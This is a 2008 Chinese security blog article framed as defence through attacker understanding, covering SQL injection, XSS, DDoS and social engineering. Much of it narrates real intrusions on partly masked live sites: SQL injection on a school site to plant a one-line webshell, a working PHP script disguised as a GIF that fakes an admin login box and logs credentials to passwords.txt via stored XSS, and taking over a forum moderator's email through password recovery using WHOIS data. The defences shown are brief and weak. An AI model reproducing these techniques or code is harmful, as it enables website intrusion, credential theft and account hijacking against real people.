从攻击者的角度来阐述如何防御黑客攻击

    [晴 March 10, 2008 17:44 | by ]
作者:伤心的鱼

随着网络与信息技术的飞速发展,尤其是在互连网飞速发展的今天,网络已经逐渐改变了人们的生活方式 ,成了生活中不可缺少的一部分。越来越多的企业已经开始建设自己的业务信息系统, 所以网络安全的重要性就此体现出来了。笔者在在中国被黑站点统计系统调查发现2007年 全国共有24516个一级域名网站被篡改,这仅仅还是以知的不包括所有的二级或二级域名以下的网站数据,其中包括:
Quotation
.gov.cn 域名 的政府网站仅2007年就有 708 个网站被篡改
.cn 域名被黑站点统计 为 6186个
.com.cn 域名被黑站点统计 共计 1403 个
.com 域名 被黑站点统计共计 13664 个
.net.cn 域名 被黑站点共计 203个
.net 域名 被黑站点统计共计 1586 个
.org 域名 被黑站点统计 共计393 个
.org.cn 域名 被黑站点统计 102 个

教育网站被黑统计 .edu.cn 域名共271个被黑客所篡改,总计为 24516 个网站 。这些仅仅为我们所知道的。而更多的攻击是在隐蔽的 根本无法发觉的情况下进行。有的大型企业内部网络被黑客控制长达几个月 管理员竟然都不知道?
那么黑客到底是如何攻击?他们心理又是如何去思考? 如何去确定一个攻击目标呢?从整体上看,网络攻击呈现下面两个特点:

一、黑客组织越来越正规化

组织内部有明确分工,从恶意代码的制作,到代码的散播,都有明确的分工合作。而不同的组织之间既有竞争也有合作,黑客攻击按照计划的有组织地进行,使得黑客攻击的效率有明显提高。

二、攻击目标直接化

网络黑客们针对攻击目标的特点,经过一系列的类似“睬点”后,黑客们针对目标存在的问题编写攻击代码 设定只针对此目标的攻击模式,绕过网络防御体系入侵有价值的目标主机,或者通过僵尸网络对目标发起直接的大规模网络攻击,造成目标网络不能访问或者访问延迟等等现象。
一般来说。真正的黑客不会去攻击没有价值的目标,往往是存在商业价值或者私人恩怨以后,“黑客”会确定目标进行跟踪式攻击,当然也不排除有无聊的非真正黑客进行无聊的攻击活动,当然这也从另一方面反映出我国的网络安全的薄弱现象。稍微懂一点计算机的“黑客”使用一些黑客工具就可以轻易的篡改一些网站。
那么下面我就针对网络黑客如何进行攻击与一些常用的攻击手法进行介绍,只有知道了如何攻击才能有效的进行防御。
2007年根据新近公布的一份现实威胁分析报告表明,Web 应用正成为最大的网络安全盲点。而企业必须认识到自己的各种应用的风险,并采取必要的手段来避免危险的安全攻击。有许多调查研究论及了病毒、网络攻击、公共缺陷公布、垃圾邮件和网络钓鱼企图,但很少关注位于防火墙和传统网络安全范畴之外的基于 Web 的应用。
简单来说,目前黑客攻击所用到的技术都是已知技术的更高级应用,大概分为以下的几种方法:
1、SQL注入
2、跨站攻击
3、拒绝服务攻击
4、社会工程学

接下来,我将简单介绍这几类攻击手法的技术原理。 以及该如何防范这些攻击。

注:以下例子都为真实的案例,为保护这些网站,网址经过处理。

一、SQL注入攻击

什么是 SQL注入呢?
简单的说也就是攻击者通过黑盒测试的方法查询到目标网站脚本存在过滤不严,那么攻击者就可以利用某些特殊构造的SQL语句插入SQL的特殊字符和指令,提交一段数据库查询代码,通过在IE浏览器访问直接查询管理员的用户口令等等。或者利用数据库的一些特性进行权限提升等等,这就是我们常说的sql injection也就是SQL注入。我们来看一下的代码:
<%
dim ID
dim rs,sql
ID=request("id") //从客户端获取ID的值
sql = "select * from Info where ID="&amp; ID // 把查询语句赋值给SQL变量
Set rs = Server.CreateObject("ADODB.Recordset") //创建记录对象
rs.open sql,conn,1,1 //执行查询语句
if not (rs.eof and rs.bof) then //判断记录是否存在
%>

如果程序员在网站的某一程序,比如vite.asp里有如上语句。那么我们可以清楚的看到ID没有经过任何过滤便放入到SQL查询语句当中,注入漏洞产生。那么我们可以构造地址为http://127.0.0.1/vite.asp?id=1 的地址来进行SQL注射攻击。SQL注射为目前WEB应用的最重要的威胁。据了解,90%的企业网站被攻险都是因为SQL注入引起的。那么下面我们就来看真实的案例。
目标站点:北京某专修学院网站,如图1

Highslide JS


我看到最下面有版权所有:北京某专修学院网站 制作维护:中国万网的字样。原来是万网的程序。那么自己写的程序漏洞是不是会多一些呢?我们来测试一下吧。
首先先随便点开一个连接,地址为: hxxp://www.bjjxxx.com.cn/detail.asp?productid=389,我们在productid=389后面加一个单引号,看看返回什么呢?如图2

Highslide JS


错误信息为:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]
第 1 行: '' 附近有语法错误。 /detail.asp,行 22
从上面的返回信息我们得到了以下几个提示:
1.网站使用的是sql server数据库
2.是通过odbc来连接数据库
3.程序应该是有过滤不严密的地方,因为我们输入的单引号已经被程序解吸执行了。
那么既然这样我们就可以使用 and 1=1 1=2来判断是不是存在注射漏洞。
通过判断发现该地址存在注射漏洞,马上使用工具检验一下,通过使用阿D注射工具发现,数据库当前库为cw88163_db,当前用户为cw88163,权限为DB_OWNER。如图3

Highslide JS


既然知道了权限为DB_OWNER 那么我们就可以通过列目录来寻找网站的WEB目录 从而通过使用差异备份来获取网站的WEBSHELL。通过列取一系列目录得知 网站的WEB目录为D:\wwwroot\如图4

Highslide JS


既然知道了WEB目录我们就使用NBSI的getwebshell功能备份一个一句话木马进去吧。在注入地址那里添写hxxp://www.bjjxxx.com.cn/detail.asp?productid=389,备份目录那里写D:\wwwroot\1.asp 然后点备份就好啦 可以看到我们成功的备份出了一个一句话木马。 如图5

Highslide JS


至此我们已经成功的拿到了网站的WEBSHELL也就是最高权限了。一个很简单的漏洞就使得一个名牌学校的网站就这样”沦陷”了。
SQL注入防御方法:单独编写一个文件,部分内容为:
dim sql_injdata SQL_injdata = "'&#124;and&#124;exec&#124;insert&#124;select&#124;delete&#124;update&#124;count&#124;*&#124;%&#124;chr&#124;mid&#124;master&#124;truncate&#124;char&#124;declare" SQL_inj = split(SQL_Injdata,"&#124;")

也就是过滤掉了常用的SQL语句关键字,从而可以有效的防御SQL注射攻击。
读者也可以看看以下IT168 安全频道发过的文文章,
[攻防手记]SQL Server注入大全及防御
http://safe.it168.com/ss/2007-09-10/200709100935438.shtml

   注入漏洞之旁注攻击

顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透此类手法多出现与虚拟主机站点。如一个网站本身程序非常安全,攻击者没有任何下手的地方,那么攻击者可以通过入侵同服务器的另外一个站点,然后提升权限从而达到入侵目标站的目的。防御方法:尽量选择单独服务器或者服务器权限设置比较好的虚拟机。

二、跨站攻击XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者向 Web面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码被执行,从而达到攻击者的特殊目的。XSS属于被动式的攻击,因为其被动且好利用,所以许多人经常忽略其危害性。
一般来说跨站最容易出现的地方在网站的留言版块.攻击者可以构造如
<script>alert("test")</script>
的语句。 稍懂JS的人知道如果程序员在编写代码时没有过滤掉如
传统的跨站利用方式一般都是攻击者首先构造一个网页,然后在攻击者的另一个空间里面放一个收集cookie的页面接着结合其他技术让用户打开跨站页面 以便盗取用户的cookie从而进行攻击。 如当攻击者要渗透一个站点,攻击者可能首先使简单的HTML 标签如
<b>(粗体),<i>(斜体)或<u>(下划线)
或者他可能尝试简单的 script标签如
<script>alert("OK")</script>
来检测,这样也是很容易检测出跨站漏洞。然而,高明点的攻击者可能用它的 hex 值替换整个字符串。这样
<script>
标签会以
%3C%73%63%72%69%70%74%3E
出现。 另一方面,攻击者可能使用web代理服务器像Achilles会自动转换一些特殊字符如<换成%3C>换成%3E。这样攻击发生时,URL 中通常以hex等值代替角括号。
另外攻击者通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开有跨站漏洞的网页。来达到目地 因为跨站漏洞属于被动式攻击方法,所以不被很多人看好。其实不然。精心构造的跨站页面结合攻击者的思维方式和独特的思路一样可以打开胜利之门 。

  跨站攻击实例分析:

事例:冠龙科技企业网站系统XSS漏洞利用全过程
所用程序为:冠龙科技企业网站最新版本
首先我们来看程序代码,漏洞出在feedbacksave.asp这个文件,代码如下,如图6

Highslide JS


从这段代码可以知道,程序的作者只是用自定义的一个函数htmlencode2来过滤content中出现的一些特殊字符,而其它只是用trim过滤空格。显然XSS漏洞就这样产生了!知道了漏洞,那就行动吧,本地架设好以后就开始啦 。测试版有很多限制,但是后来我在官方测试的时候但XSS漏洞依然是存在的!为了方便 首先我们注册一个新用户,选择留言版块,点我要留言,就可以进入到留言界面了。

我们直接在主题那里输入跨站代码,这里我用
<IMG SRC=”javascript:slert(“小志”);”>
,当然用
<script>alert("xiaozhi")</script>
也是可以的,然后点提交,成功弹出如图7

Highslide JS


到了这里可能有些朋友觉得只是弹个窗,没什么了不起的,因而觉得这个没什么利用价值那可就大错特错了。其实我们还是可以利用这个XSS来偷取管理员的cookie,或者挂马!因为这站只是用trim过滤了空格,所以利用起来是非常容易的。 嘿嘿 下面我用这个漏洞来演示一下怎么偷到管理员的密码。 我们可以伪造个密码验证框!让管理输入帐号和密码验证,为了不让管理员发现,密码框的代码是利用cookie验证,密码框出现一次后,要想再出现密码框,就要在IE那删除cookie,如图8

Highslide JS


为了不让管理员发现,我们用图片来伪装了。好了,那我们就来看看利用程序吧!代码如下:
<?
header("Content-type: image/gif");
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 &#124;&#124; !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="管理员验证 - login"');
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('passwords.txt', 'ab');
fwrite($f, $login." &#124;&#124;&#124; ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>

新建个文档,把代码保存在文件内,后缀名改成图片格式。然后去网上找个小型的图片文件。将这两个图片放在同一个目录下就OK了。
$image = imagecreatefromgif('mellow.gif');
这里就是调用的正常图片文件!然后我们在跨站那里输入
<img src="图片地址">,
如果成功的话,就会生成个passwords.txt文件,文件内记录着管理员输入的帐号和密码!废话不少说了,现在我们来演示下吧,可能有的人说?管理一般都在后台进行留言管理的。很少跑到前台的,其实后台也要调用那文件。只要管理员进了后台,进行留言管理就能利用的。另外不要搞错哦,那代码是PHP的,要在PHP环境下才能正常解析!如果大家没有PHP的空间,去找个支持PHP的Webshell也行。大家看到没,出现了登陆框,不精明的网管会以为是程序的验证。那么,他就会输入帐号和密码再次进行验证。刷新下,密码框就不会出现。除非你删除你机子上的cookie才行。这样迷域性更大了,如图9

Highslide JS


看到了吧 我们成功的偷到管理员的密码了。怎么样?你会利用了么?? 现在大家都知道怎样去利用XSS漏洞,那也应该要学习学习怎样去修补漏洞!有攻就有防嘛,呵呵!这里我简单说一下修补漏洞利用replace()函数就可以了。可能有些初学者不太了解replace()函数怎样去利用。例如这段程序,未修补的代码:
rs("title")=trim(request.form("title"))

修补后的代码:
Rs("title")=replace(trim(request.from("title")"<","//"))
如果从客户端获取的title变量出现<就自动替换为//。那么测试语句就无法闭合了!当然还是可以转换为其它语句进行突破的,这只是演示怎样用replace函数简单的去过滤一些语句!我想,到这里大家也应该怎样去修补漏洞了吧!
笔者再说一下关于XSS的一点东西,可能有些朋友看完这篇文章以后会认为所有的跨站都是可以这么利用的。其实不然,有些跨站就真的只是能弹个窗口,但是他并不写入数据库。这样是没有任何意义的,我们来拿百度做实验,打开百度以后选择MP3然后点击音乐掌门人在搜索框内输入
<script>alert("fish")</script>,
成功弹出fish的框框,如图11

Highslide JS


虽然成功的弹出了对话框,但是这个并不能算是真正意义上的跨站,因为他并没有写入数据库,除了能糊弄一些不懂的人之外,并没有任何的利用价值的。 所以在寻找跨站漏洞以及利用的过程中更多的是需要认真观察。寻找任何可利用的蛛丝马迹。
有关XSS漏洞攻击和防御,读者也可以看IT168安全频道做的XSS攻防专题:
http://www4.it168.com/jtzt/shenlan/safe/xss/index.html

三、分布式拒绝服务攻击

分布式拒绝服务攻击又称呼为DDOS攻击。DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
如果你理解了DoS攻击的话,它的原理就很简单。如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。而我们最常理解的含义为。 如果您的网站最高可以容纳5000人访问?
那么攻击者可以模拟出大概10万人来同时访问你的网站,那么这么多人同时访问势必会造成带宽被消耗导致CPU升高,从而达到瘫痪网站的目的然而 网络黑客不到万不得以的情况下不会使用DDOS等攻击方式, 因为虽然能最快速的达到目标网站瘫痪的目的,但是还是存在很多弊端。比如,每使用一次DDOS攻击,那么网络黑客就要损失10%-20%左右的肉鸡,另外这种攻击方式对黑客本身来说没有一点利益关系,因为你既得不到你想要的东西 又不能入侵他。所以DDOS攻击虽然是最“狠”的但也是最不长用的一种攻击方式。
因为没有办法做出事例,所以我找到了一些具体的图片供大家参考:
如图:11.12.

Highslide JS


Highslide JS


分布式拒绝服务攻击防御方法:目前来说没有好的方法防御,黑客跟“你”比的是带宽。
建议:使用硬件防火墙 或者进行数据分流可以有效的防御DDOS攻击

四、社会工程学

我们通常把基于非计算机的欺骗技术叫做社会工程。社会工程中,攻击者设法设计让人相信它是其他人。这就像攻击者在给人打电话时说自己是某人一样的简单。因为他说了一些大概只有那个人知道的信息,所以受害人相信他。 社会工程的核心是,攻击者设法伪装自己的身份并设计让受害人泄密私人信息。这些攻击的目标是搜集信息来侵入计算机系统的,通常通过欺骗某人使之泄露出口令或者在系统中建立个新帐号。
其他目标使侦察环境,找出安装了什么硬件和软件,服务器上装载了什么补丁等等。 另外一般黑客在拿到同一个机房一台密码之后,会使用这个密码尝试登陆其他的机器,因为如果是同一个管理员的话那么他很有可能在他管理的服务器上都使用同一个密码。或者是通过破解一个管理员的油箱伪造他给另外的管理员发信息。
社会工程学实例:
目标:hxxp://www.21xxx.net/bbs/index.asp 某个网论坛管理员。
通过观察得到这位斑竹的资料 如图15

Highslide JS


通过了解得知 此版主的油箱为zhxxx@163.com 生日为 1979.2.12,如果我们了解163的油箱机制,我们就可以知道通过密码保护找回163油箱密码是需要生日的。所以我们在163油箱那里点击忘记密码,通过密码提示问题找回。要求我们输入生日 呵呵 我们在那里输入1979年2月12日,成功的进入第二步。如图16

Highslide JS


他的问题是MYNAME。那就是他的名字哦?可是我们不知道怎么办呢?不怕。我们知道万网有一个域名信息查询的功能,可以查询出注册域名的人的地址。名字等等,我们百度搜索,选择地址为http://www.123cha.com/domain/ 的查询功能,输入域名为21xxx.net,点查询,我们来看看反回的信息 如图17

Highslide JS


从信息中我们可以得知Registrant Organization ......... zhangqifeng 他的名字叫zhangqifeng,我们去试一下,如图18

Highslide JS


看到没。我们已经成功的设置了他油箱的新密码 呵呵我们就可以通过登陆他的油箱来获取更多的信息了, 怎么样?社会工程学的强大能力领教了吧?
社会工程学防御方法:
尽量在不同的地方使用不一样的密码,轻易不要相信陌生人所提供的资料。在互联网上尽量不要透漏自己过多的信息如家庭情况,手机号,生日等等。

总结:

这里我只列举出来了四个最常用也是成功率比较高的攻击方法,那么就国内网络安全现状来说。一般的网络管理员存在着最重要的误那就是管理员本身认为给服务器上一套设备。比如硬件防火墙 IDS、IPS等等就可以有效的阻止黑客攻击。其实不是这样的,工具是死的,人是活的。黑客在渗透过程中是靠着自己的智慧 与管理员斗的是经验。 任何一个工具都有他的弊端 工具不是每次都那么好用的。另外企业内部员工本身也存在着安全意识薄弱,对安全不够重视等等,所以企业内部员工对信息安全意识是非常重要的。
目前国内大部分网络安全公司都有开设对企业员工进行信息安全培训的科目,通过对企业内部员工进行简单评估来做出决定,以考虑需要进行哪些培训,如何进行培训等等。另外中小型企业规模往往比较小,不足以实行多种培训计划。要清楚中小企业的大部分电脑使用者并不是专业人员,相关的培训应该简单且接近企业用户的水平。 其次,需要考虑的是中小企业信息安全方面需要培训哪些内容。一般而言,需要考虑的培训内容包括:用户管理、网络与电子邮件、移动设备与便携设备使用、保密协议以及一些系统安全等 通过简单的培训使得企业员工有简单的安全意识就可以了。
随着越来越多的企业成立,越来越多的网站在互联网上开通,网络安全的重要性愈法的体现出来了。在这里我还是呼吁更多的人来关注网络安全!
Technology | Comments(0) | Trackbacks(0) | Reads(6501)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive